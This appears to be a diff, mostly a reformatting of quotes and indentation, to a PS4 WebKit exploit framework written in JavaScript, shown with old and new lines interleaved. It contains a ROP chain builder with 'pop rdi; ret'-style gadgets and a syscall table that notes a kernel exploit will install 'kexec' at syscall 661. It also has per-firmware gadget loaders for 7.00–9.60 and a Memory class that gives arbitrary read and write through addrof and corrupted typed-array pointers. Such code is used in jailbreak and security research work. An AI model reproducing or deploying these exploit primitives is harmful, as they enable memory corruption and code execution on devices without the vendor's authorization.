import { Int, lohi_from_one } from './int64.mjs';
import { get_view_vector } from './memtools.mjs';
import { Addr } from './mem.mjs';
import { Int, lohi_from_one } from "./int64.mjs";
import { get_view_vector } from "./memtools.mjs";
import { Addr } from "./mem.mjs";
import * as config from '../config.mjs';
import * as config from "../config.mjs";
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
'read' : 3,
'write' : 4,
'open' : 5,
'close' : 6,
'getpid' : 20,
'setuid' : 23,
'getuid' : 24,
'accept' : 30,
'pipe' : 42,
'ioctl' : 54,
'munmap' : 73,
'mprotect' : 74,
'fcntl' : 92,
'socket' : 97,
'connect' : 98,
'bind' : 104,
'setsockopt' : 105,
'listen' : 106,
'getsockopt' : 118,
'fchmod' : 124,
'socketpair' : 135,
'fstat' : 189,
'getdirentries' : 196,
'__sysctl' : 202,
'mlock' : 203,
'clock_gettime' : 232,
'nanosleep' : 240,
'sched_yield' : 331,
'kqueue' : 362,
'kevent' : 363,
'rtprio_thread' : 466,
'mmap' : 477,
'ftruncate' : 480,
'shm_open' : 482,
'cpuset_getaffinity' : 487,
'cpuset_setaffinity' : 488,
'jitshm_create' : 533,
'jitshm_alias' : 534,
'evf_create' : 538,
'evf_delete' : 539,
'evf_set' : 544,
'evf_clear' : 545,
'set_vm_container' : 559,
'dmem_container' : 586,
'dynlib_dlsym' : 591,
'dynlib_get_list' : 592,
'dynlib_get_info' : 593,
'dynlib_load_prx' : 594,
'randomized_path' : 602,
'budget_get_ptype' : 610,
'thr_suspend_ucontext' : 632,
'thr_resume_ucontext' : 633,
'blockpool_open' : 653,
'blockpool_map' : 654,
'blockpool_unmap' : 655,
'blockpool_batch' : 657,
export const syscall_map = new Map(
Object.entries({
read: 3,
write: 4,
open: 5,
close: 6,
getpid: 20,
setuid: 23,
getuid: 24,
accept: 30,
pipe: 42,
ioctl: 54,
munmap: 73,
mprotect: 74,
fcntl: 92,
socket: 97,
connect: 98,
bind: 104,
setsockopt: 105,
listen: 106,
getsockopt: 118,
fchmod: 124,
socketpair: 135,
fstat: 189,
getdirentries: 196,
__sysctl: 202,
mlock: 203,
clock_gettime: 232,
nanosleep: 240,
sched_yield: 331,
kqueue: 362,
kevent: 363,
rtprio_thread: 466,
mmap: 477,
ftruncate: 480,
shm_open: 482,
cpuset_getaffinity: 487,
cpuset_setaffinity: 488,
jitshm_create: 533,
jitshm_alias: 534,
evf_create: 538,
evf_delete: 539,
evf_set: 544,
evf_clear: 545,
set_vm_container: 559,
dmem_container: 586,
dynlib_dlsym: 591,
dynlib_get_list: 592,
dynlib_get_info: 593,
dynlib_load_prx: 594,
randomized_path: 602,
budget_get_ptype: 610,
thr_suspend_ucontext: 632,
thr_resume_ucontext: 633,
blockpool_open: 653,
blockpool_map: 654,
blockpool_unmap: 655,
blockpool_batch: 657,
// syscall 661 is unimplemented so free for use. a kernel exploit will
// install "kexec" here
'aio_submit' : 661,
'kexec' : 661,
'aio_multi_delete' : 662,
'aio_multi_wait' : 663,
'aio_multi_poll' : 664,
'aio_multi_cancel' : 666,
'aio_submit_cmd' : 669,
'blockpool_move' : 673,
}));
aio_submit: 661,
kexec: 661,
aio_multi_delete: 662,
aio_multi_wait: 663,
aio_multi_poll: 664,
aio_multi_cancel: 666,
aio_submit_cmd: 669,
blockpool_move: 673,
}),
);
const argument_pops = [
'pop rdi; ret',
'pop rsi; ret',
'pop rdx; ret',
'pop rcx; ret',
'pop r8; ret',
'pop r9; ret',
];
const argument_pops = ["pop rdi; ret", "pop rsi; ret", "pop rdx; ret", "pop rcx; ret", "pop r8; ret", "pop r9; ret"];
// implementations are expected to have these gadgets:
// * libSceLibcInternal:
@@ -176,400 +171,402 @@ const argument_pops = [
// stack_size: the size of the stack
// upper_pad: the amount of extra space above stack
export class ChainBase {
constructor(stack_size=0x1000, upper_pad=0x10000) {
this._is_dirty = false;
this.position = 0;
constructor(stack_size = 0x1000, upper_pad = 0x10000) {
this._is_dirty = false;
this.position = 0;
const return_value = new Uint32Array(4);
this._return_value = return_value;
this.retval_addr = get_view_vector(return_value);
const return_value = new Uint32Array(4);
this._return_value = return_value;
this.retval_addr = get_view_vector(return_value);
const errno = new Uint32Array(1);
this._errno = errno;
this.errno_addr = get_view_vector(errno);
const errno = new Uint32Array(1);
this._errno = errno;
this.errno_addr = get_view_vector(errno);
const full_stack_size = upper_pad + stack_size;
const stack_buffer = new ArrayBuffer(full_stack_size);
const stack = new DataView(stack_buffer, upper_pad);
this.stack = stack;
this.stack_addr = get_view_vector(stack);
this.stack_size = stack_size;
this.full_stack_size = full_stack_size;
const full_stack_size = upper_pad + stack_size;
const stack_buffer = new ArrayBuffer(full_stack_size);
const stack = new DataView(stack_buffer, upper_pad);
this.stack = stack;
this.stack_addr = get_view_vector(stack);
this.stack_size = stack_size;
this.full_stack_size = full_stack_size;
}
// use this if you want to write a new ROP chain but don't want to allocate
// a new instance
empty() {
this.position = 0;
}
// flag indicating whether .run() was ever called with this chain
get is_dirty() {
return this._is_dirty;
}
clean() {
this._is_dirty = false;
}
dirty() {
this._is_dirty = true;
}
check_allow_run() {
if (this.position === 0) {
throw Error("chain is empty");
}
if (this.is_dirty) {
throw Error("chain already ran, clean it first");
}
}
reset() {
this.empty();
this.clean();
}
get retval_int() {
return this._return_value[0] | 0;
}
get retval() {
return new Int(this._return_value[0], this._return_value[1]);
}
// return value as a pointer
get retval_ptr() {
return new Addr(this._return_value[0], this._return_value[1]);
}
set retval(value) {
const values = lohi_from_one(value);
const retval = this._return_value;
retval[0] = values[0];
retval[1] = values[1];
}
get retval_all() {
const retval = this._return_value;
return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
}
set retval_all(values) {
const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
const retval = this._return_value;
retval[0] = a[0];
retval[1] = a[1];
retval[2] = b[0];
retval[3] = b[1];
}
get errno() {
return this._errno[0];
}
set errno(value) {
this._errno[0] = value;
}
push_value(value) {
const position = this.position;
if (position >= this.stack_size) {
throw Error(`no more space on the stack, pushed value: ${value}`);
}
// use this if you want to write a new ROP chain but don't want to allocate
// a new instance
empty() {
this.position = 0;
}
const values = lohi_from_one(value);
const stack = this.stack;
stack.setUint32(position, values[0], true);
stack.setUint32(position + 4, values[1], true);
// flag indicating whether .run() was ever called with this chain
get is_dirty() {
return this._is_dirty;
}
this.position += 8;
}
clean() {
this._is_dirty = false;
}
dirty() {
this._is_dirty = true;
}
check_allow_run() {
if (this.position === 0) {
throw Error('chain is empty');
}
if (this.is_dirty) {
throw Error('chain already ran, clean it first');
}
}
reset() {
this.empty();
this.clean();
}
get retval_int() {
return this._return_value[0] | 0;
}
get retval() {
return new Int(this._return_value[0], this._return_value[1]);
}
// return value as a pointer
get retval_ptr() {
return new Addr(this._return_value[0], this._return_value[1]);
}
set retval(value) {
const values = lohi_from_one(value);
const retval = this._return_value;
retval[0] = values[0];
retval[1] = values[1];
}
get retval_all() {
const retval = this._return_value;
return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
}
set retval_all(values) {
const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
const retval = this._return_value;
retval[0] = a[0];
retval[1] = a[1];
retval[2] = b[0];
retval[3] = b[1];
}
get errno() {
return this._errno[0];
}
set errno(value) {
this._errno[0] = value;
}
push_value(value) {
const position = this.position;
if (position >= this.stack_size) {
throw Error(`no more space on the stack, pushed value: ${value}`);
}
const values = lohi_from_one(value);
const stack = this.stack;
stack.setUint32(position, values[0], true);
stack.setUint32(position + 4, values[1], true);
this.position += 8;
}
get_gadget(insn_str) {
const addr = this.gadgets.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
push_gadget(insn_str) {
this.push_value(this.get_gadget(insn_str));
}
push_call(func_addr, ...args) {
if (args.length > 6) {
throw TypeError(
'push_call() does not support functions that have more than 6'
+ ' arguments');
}
for (let i = 0; i < args.length; i++) {
this.push_gadget(argument_pops[i]);
this.push_value(args[i]);
}
// The address of our buffer seems to be always aligned to 8 bytes.
// SysV calling convention requires the stack is aligned to 16 bytes on
// function entry, so push an additional 8 bytes to pad the stack. We
// pushed a "ret" gadget for a noop.
if ((this.position & (0x10 - 1)) !== 0) {
this.push_gadget('ret');
}
if (typeof func_addr === 'string') {
this.push_gadget(func_addr);
} else {
this.push_value(func_addr);
}
}
push_syscall(syscall_name, ...args) {
if (typeof syscall_name !== 'string') {
throw TypeError(`syscall_name not a string: ${syscall_name}`);
}
const sysno = syscall_map.get(syscall_name);
if (sysno === undefined) {
throw Error(`syscall_name not found: ${syscall_name}`);
}
const syscall_addr = this.syscall_array[sysno];
if (syscall_addr === undefined) {
throw Error(`syscall number not in syscall_array: ${sysno}`);
}
this.push_call(syscall_addr, ...args);
}
// Sets needed class properties
//
// Args:
// gadgets:
// A Map-like object mapping instruction strings (e.g. "pop rax; ret")
// to their addresses in memory.
// syscall_array:
// An array whose indices correspond to syscall numbers. Maps syscall
// numbers to their addresses in memory. Defaults to an empty Array.
static init_class(gadgets, syscall_array=[]) {
this.prototype.gadgets = gadgets;
this.prototype.syscall_array = syscall_array;
}
// START: implementation-dependent parts
//
// the user doesn't need to implement all of these. just the ones they need
// Firmware specific method to launch a ROP chain
//
// Proper implementations will check if .position is nonzero before
// running. Implementations can optionally check .is_dirty to enforce
// single-run gadget sequences
run() {
throw Error('not implemented');
}
// anything you need to do before the ROP chain jumps back to JavaScript
push_end() {
throw Error('not implemented');
}
push_get_errno() {
throw Error('not implemented');
}
push_clear_errno() {
throw Error('not implemented');
}
// get the rax register
push_get_retval() {
throw Error('not implemented');
}
// get the rax and rdx registers
push_get_retval_all() {
throw Error('not implemented');
}
// END: implementation-dependent parts
// note that later firmwares (starting around > 5.00?), the browser doesn't
// have a JIT compiler. we programmed in a way that tries to make the
// resulting bytecode be optimal
//
// we intentionally have an incomplete set (there's no function to get a
// full 128-bit result). we only implemented what we think are the common
// cases. the user will have to implement those other functions if they
// need it
do_call(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_call(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
call_void(...args) {
this.do_call(...args);
}
call_int(...args) {
this.do_call(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
call(...args) {
this.do_call(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
do_syscall(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
syscall_void(...args) {
this.do_syscall(...args);
}
syscall_int(...args) {
this.do_syscall(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
syscall(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
syscall_ptr(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
// syscall variants that throw an error on errno
do_syscall_clear_errno(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_clear_errno();
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
sysi(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
sys(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
sysp(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
}
export function get_gadget(map, insn_str) {
const addr = map.get(insn_str);
get_gadget(insn_str) {
const addr = this.gadgets.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
push_gadget(insn_str) {
this.push_value(this.get_gadget(insn_str));
}
push_call(func_addr, ...args) {
if (args.length > 6) {
throw TypeError("push_call() does not support functions that have more than 6 arguments");
}
for (let i = 0; i < args.length; i++) {
this.push_gadget(argument_pops[i]);
this.push_value(args[i]);
}
// The address of our buffer seems to be always aligned to 8 bytes.
// SysV calling convention requires the stack is aligned to 16 bytes on
// function entry, so push an additional 8 bytes to pad the stack. We
// pushed a "ret" gadget for a noop.
if ((this.position & (0x10 - 1)) !== 0) {
this.push_gadget("ret");
}
if (typeof func_addr === "string") {
this.push_gadget(func_addr);
} else {
this.push_value(func_addr);
}
}
push_syscall(syscall_name, ...args) {
if (typeof syscall_name !== "string") {
throw TypeError(`syscall_name not a string: ${syscall_name}`);
}
const sysno = syscall_map.get(syscall_name);
if (sysno === undefined) {
throw Error(`syscall_name not found: ${syscall_name}`);
}
const syscall_addr = this.syscall_array[sysno];
if (syscall_addr === undefined) {
throw Error(`syscall number not in syscall_array: ${sysno}`);
}
this.push_call(syscall_addr, ...args);
}
// Sets needed class properties
//
// Args:
// gadgets:
// A Map-like object mapping instruction strings (e.g. "pop rax; ret")
// to their addresses in memory.
// syscall_array:
// An array whose indices correspond to syscall numbers. Maps syscall
// numbers to their addresses in memory. Defaults to an empty Array.
static init_class(gadgets, syscall_array = []) {
this.prototype.gadgets = gadgets;
this.prototype.syscall_array = syscall_array;
}
// START: implementation-dependent parts
//
// the user doesn't need to implement all of these. just the ones they need
// Firmware specific method to launch a ROP chain
//
// Proper implementations will check if .position is nonzero before
// running. Implementations can optionally check .is_dirty to enforce
// single-run gadget sequences
run() {
throw Error("not implemented");
}
// anything you need to do before the ROP chain jumps back to JavaScript
push_end() {
throw Error("not implemented");
}
push_get_errno() {
throw Error("not implemented");
}
push_clear_errno() {
throw Error("not implemented");
}
// get the rax register
push_get_retval() {
throw Error("not implemented");
}
// get the rax and rdx registers
push_get_retval_all() {
throw Error("not implemented");
}
// END: implementation-dependent parts
// note that later firmwares (starting around > 5.00?), the browser doesn't
// have a JIT compiler. we programmed in a way that tries to make the
// resulting bytecode be optimal
//
// we intentionally have an incomplete set (there's no function to get a
// full 128-bit result). we only implemented what we think are the common
// cases. the user will have to implement those other functions if they
// need it
do_call(...args) {
if (this.position) {
throw Error("chain not empty");
}
try {
this.push_call(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
call_void(...args) {
this.do_call(...args);
}
call_int(...args) {
this.do_call(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
call(...args) {
this.do_call(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
do_syscall(...args) {
if (this.position) {
throw Error("chain not empty");
}
try {
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
syscall_void(...args) {
this.do_syscall(...args);
}
syscall_int(...args) {
this.do_syscall(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
syscall(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
syscall_ptr(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
// syscall variants that throw an error on errno
do_syscall_clear_errno(...args) {
if (this.position) {
throw Error("chain not empty");
}
try {
this.push_clear_errno();
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
sysi(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
sys(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
sysp(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
}
export function get_gadget(map, insn_str) {
const addr = map.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
function load_fw_specific(version) {
if (version & 0x10000) {
throw RangeError('PS5 not supported yet');
}
if (version & 0x10000) {
throw RangeError("PS5 not supported yet");
}
const value = version & 0xffff;
// we don't want to bother with very old firmwares that don't support
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with
if (value < 0x700) {
throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
}
const value = version & 0xffff;
// we don't want to bother with very old firmwares that don't support
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with
if (value < 0x700) {
throw RangeError("PS4 firmwares < 7.00 isn't supported");
}
if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
return import('../rop/ps4/800.mjs');
}
if (0x800 <= value && value < 0x850) {
// 8.00, 8.01, 8.03
return import("../rop/ps4/800.mjs");
}
if (0x850 <= value && value < 0x900) { // 8.50, 8.52
return import('../rop/ps4/850.mjs');
}
if (0x850 <= value && value < 0x900) {
// 8.50, 8.52
return import("../rop/ps4/850.mjs");
}
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
return import('../rop/ps4/900.mjs');
}
if (0x900 <= value && value < 0x950) {
// 9.00, 9.03, 9.04
return import("../rop/ps4/900.mjs");
}
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
return import('../rop/ps4/950.mjs');
}
if (0x950 <= value && value < 0x1000) {
// 9.50, 9.51, 9.60
return import("../rop/ps4/950.mjs");
}
throw RangeError('Firmware not supported');
throw RangeError("Firmware not supported");
}
export let gadgets = null;
@@ -580,14 +577,8 @@ export let init_gadget_map = null;
export let Chain = null;
export async function init() {
const module = await load_fw_specific(config.target);
Chain = module.Chain;
module.init(Chain);
({
gadgets,
libwebkit_base,
libkernel_base,
libc_base,
init_gadget_map,
} = module);
const module = await load_fw_specific(config.target);
Chain = module.Chain;
module.init(Chain);
({ gadgets, libwebkit_base, libkernel_base, libc_base, init_gadget_map } = module);
}

View File

@@ -19,115 +19,103 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
const isInteger = Number.isInteger;
function check_not_in_range(x) {
return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
}
// use this if you want to support objects convertible to Int but only need
// their low/high bits. creating a Int is slower compared to just using this
// function
export function lohi_from_one(low) {
if (low instanceof Int) {
return low._u32.slice();
}
if (low instanceof Int) {
return low._u32.slice();
}
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
}
// immutable 64-bit integer
export class Int {
constructor(low, high) {
if (high === undefined) {
this._u32 = new Uint32Array(lohi_from_one(low));
return;
}
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
if (check_not_in_range(high)) {
throw TypeError(`high not a 32-bit integer: ${high}`);
}
this._u32 = new Uint32Array([low, high]);
constructor(low, high) {
if (high === undefined) {
this._u32 = new Uint32Array(lohi_from_one(low));
return;
}
get lo() {
return this._u32[0];
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
get hi() {
return this._u32[1];
if (check_not_in_range(high)) {
throw TypeError(`high not a 32-bit integer: ${high}`);
}
// return low/high as signed integers
this._u32 = new Uint32Array([low, high]);
}
get bot() {
return this._u32[0] | 0;
get lo() {
return this._u32[0];
}
get hi() {
return this._u32[1];
}
// return low/high as signed integers
get bot() {
return this._u32[0] | 0;
}
get top() {
return this._u32[1] | 0;
}
neg() {
const u32 = this._u32;
const low = (~u32[0] >>> 0) + 1;
return new this.constructor(low >>> 0, ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0);
}
eq(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
return u32[0] === values[0] && u32[1] === values[1];
}
ne(b) {
return !this.eq(b);
}
add(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + values[0];
return new this.constructor(low >>> 0, (u32[1] + values[1] + (low > 0xffffffff)) >>> 0);
}
sub(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + (~values[0] >>> 0) + 1;
return new this.constructor(low >>> 0, (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0);
}
toString(is_pretty = false) {
if (!is_pretty) {
const low = this.lo.toString(16).padStart(8, "0");
const high = this.hi.toString(16).padStart(8, "0");
return `0x${high}${low}`;
}
let high = this.hi.toString(16).padStart(8, "0");
high = `${high.substring(0, 4)}_${high.substring(4)}`;
get top() {
return this._u32[1] | 0;
}
let low = this.lo.toString(16).padStart(8, "0");
low = `${low.substring(0, 4)}_${low.substring(4)}`;
neg() {
const u32 = this._u32;
const low = (~u32[0] >>> 0) + 1;
return new this.constructor(
low >>> 0,
((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
);
}
eq(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
return (
u32[0] === values[0]
&& u32[1] === values[1]
);
}
ne(b) {
return !this.eq(b);
}
add(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + values[0];
return new this.constructor(
low >>> 0,
(u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
);
}
sub(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + (~values[0] >>> 0) + 1;
return new this.constructor(
low >>> 0,
(u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
);
}
toString(is_pretty=false) {
if (!is_pretty) {
const low = this.lo.toString(16).padStart(8, '0');
const high = this.hi.toString(16).padStart(8, '0');
return '0x' + high + low;
}
let high = this.hi.toString(16).padStart(8, '0');
high = high.substring(0, 4) + '_' + high.substring(4);
let low = this.lo.toString(16).padStart(8, '0');
low = low.substring(0, 4) + '_' + low.substring(4);
return '0x' + high + '_' + low;
}
return `0x${high}_${low}`;
}
}

View File

@@ -15,8 +15,8 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
import { view_m_vector, view_m_length } from './offset.mjs';
import { Int, lohi_from_one } from "./int64.mjs";
import { view_m_vector, view_m_length } from "./offset.mjs";
export let mem = null;
@@ -26,128 +26,128 @@ const off_vector2 = (view_m_vector + 4) / 4;
const isInteger = Number.isInteger;
function init_module(memory) {
mem = memory;
mem = memory;
}
function add_and_set_addr(mem, offset, base_lo, base_hi) {
const values = lohi_from_one(offset);
const main = mem._main;
const values = lohi_from_one(offset);
const main = mem._main;
const low = base_lo + values[0];
const low = base_lo + values[0];
// no need to use ">>> 0" to convert to unsigned here
main[off_vector] = low;
main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
// no need to use ">>> 0" to convert to unsigned here
main[off_vector] = low;
main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
}
export class Addr extends Int {
read8(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read8_at(offset);
read8(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
read16(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read8_at(offset);
}
return m.read16_at(offset);
read16(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
read32(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read16_at(offset);
}
return m.read32_at(offset);
read32(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
read64(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read32_at(offset);
}
return m.read64_at(offset);
read64(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
readp(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read64_at(offset);
}
return m.readp_at(offset);
readp(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
write8(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.readp_at(offset);
}
m.write8_at(offset, value);
write8(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
write16(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write8_at(offset, value);
}
m.write16_at(offset, value);
write16(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
write32(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write16_at(offset, value);
}
m.write32_at(offset, value);
write32(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
write64(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write32_at(offset, value);
}
m.write64_at(offset, value);
write64(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write64_at(offset, value);
}
}
// expected:
@@ -167,264 +167,253 @@ export class Addr extends Int {
// the relative read/write methods expect the offset to be a unsigned 32-bit
// integer
export class Memory {
constructor(main, worker, obj, addr_addr, fake_addr) {
this._main = main;
this._worker = worker;
this._obj = obj;
this._addr_low = addr_addr.lo;
this._addr_high = addr_addr.hi;
this._fake_low = fake_addr.lo;
this._fake_high = fake_addr.hi;
constructor(main, worker, obj, addr_addr, fake_addr) {
this._main = main;
this._worker = worker;
this._obj = obj;
this._addr_low = addr_addr.lo;
this._addr_high = addr_addr.hi;
this._fake_low = fake_addr.lo;
this._fake_high = fake_addr.hi;
main[view_m_length / 4] = 0xffffffff;
main[view_m_length / 4] = 0xffffffff;
init_module(this);
init_module(this);
const off_mvec = view_m_vector;
// use this to create WastefulTypedArrays to avoid a GC crash
const buf = new ArrayBuffer(0);
const off_mvec = view_m_vector;
// use this to create WastefulTypedArrays to avoid a GC crash
const buf = new ArrayBuffer(0);
const src = new Uint8Array(buf);
const sset = new Uint32Array(buf);
const sset_p = this.addrof(sset);
sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
sset_p.write32(view_m_length, 3);
this._cpysrc = src;
this._src_setter = sset;
const src = new Uint8Array(buf);
const sset = new Uint32Array(buf);
const sset_p = this.addrof(sset);
sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
sset_p.write32(view_m_length, 3);
this._cpysrc = src;
this._src_setter = sset;
const dst = new Uint8Array(buf);
const dset = new Uint32Array(buf);
const dset_p = this.addrof(dset);
dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
dset_p.write32(view_m_length, 3);
dset[2] = 0xffffffff;
this._cpydst = dst;
this._dst_setter = dset;
const dst = new Uint8Array(buf);
const dset = new Uint32Array(buf);
const dset_p = this.addrof(dset);
dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
dset_p.write32(view_m_length, 3);
dset[2] = 0xffffffff;
this._cpydst = dst;
this._dst_setter = dset;
}
// dst and src may overlap
cpy(dst, src, len) {
if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
throw TypeError("len not a unsigned 32-bit integer");
}
// dst and src may overlap
